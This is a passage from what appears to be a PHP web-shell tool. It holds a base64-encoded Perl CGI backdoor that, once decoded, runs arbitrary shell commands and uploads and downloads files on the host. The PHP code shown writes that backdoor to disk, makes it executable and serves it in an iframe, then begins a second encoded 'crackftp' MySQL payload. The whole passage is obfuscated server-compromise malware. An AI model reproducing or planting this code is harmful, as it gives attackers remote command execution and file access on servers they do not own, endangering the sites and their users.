MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KPGNvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsNCgl9DQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCjwvY29kZT4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiPC9jb2RlPiI7DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0K‘;
$files = fopen("perl.dam" ,"w+");
$write = fwrite ($files ,base64_decode($perlshell));
fclose($files);
chmod("perl.dam",0755);
echo "<iframe src=perl/perl.dam width=100% height=100% frameborder=0></iframe> ";
}
elseif ($action == ‚mysql_1‘) {
@chdir(‚damane‘);
$crackftp = ‚PD8NCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiAp